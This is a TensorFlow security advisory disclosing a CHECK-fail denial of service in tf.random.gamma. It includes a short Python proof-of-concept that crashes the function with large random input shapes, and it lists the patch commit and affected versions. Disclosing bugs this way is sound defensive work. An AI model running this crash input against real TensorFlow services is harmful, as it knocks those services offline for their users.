TensorFlow vulnerable to `CHECK` fail in `tf.random.gamma`

Impact

When tf.random.gamma receives large input shape and rates, it gives a CHECK fail that can trigger a denial of service attack.

```python

import tensorflow as tf

arg_0=tf.random.uniform(shape=(4,), dtype=tf.int32, maxval=65536)

arg_1=tf.random.uniform(shape=(4, 4), dtype=tf.float64, maxval=None)

arg_2=tf.random.uniform(shape=(4, 4, 4, 4, 4), dtype=tf.float64, maxval=None)

arg_3=tf.float64

arg_4=48

arg_5='None'

tf.random.gamma(shape=arg_0, alpha=arg_1, beta=arg_2, dtype=arg_3, seed=arg_4, name=arg_5)

`

Patches

We have patched the issue in GitHub commit [552bfced6ce4809db5f3ca305f60ff80dd40c5a3](https://github.com/tensorflow/tensorflow/commit/552bfced6ce4809db5f3ca305f60ff80dd40c5a3).

The fix will be included in TensorFlow 2.10.0. We will also cherrypick this commit on TensorFlow 2.9.1, TensorFlow 2.8.1, and TensorFlow 2.7.2, as these are also affected and still in supported range.

For more information

Please consult [our security guide](https://github.com/tensorflow/tensorflow/blob/master/SECURITY.md) for more information regarding the security model and how to contact us with issues and questions.

Attribution

This vulnerability has been reported by 刘力源, Information System & Security and Countermeasures Experiments Center, Beijing Institute of Technology.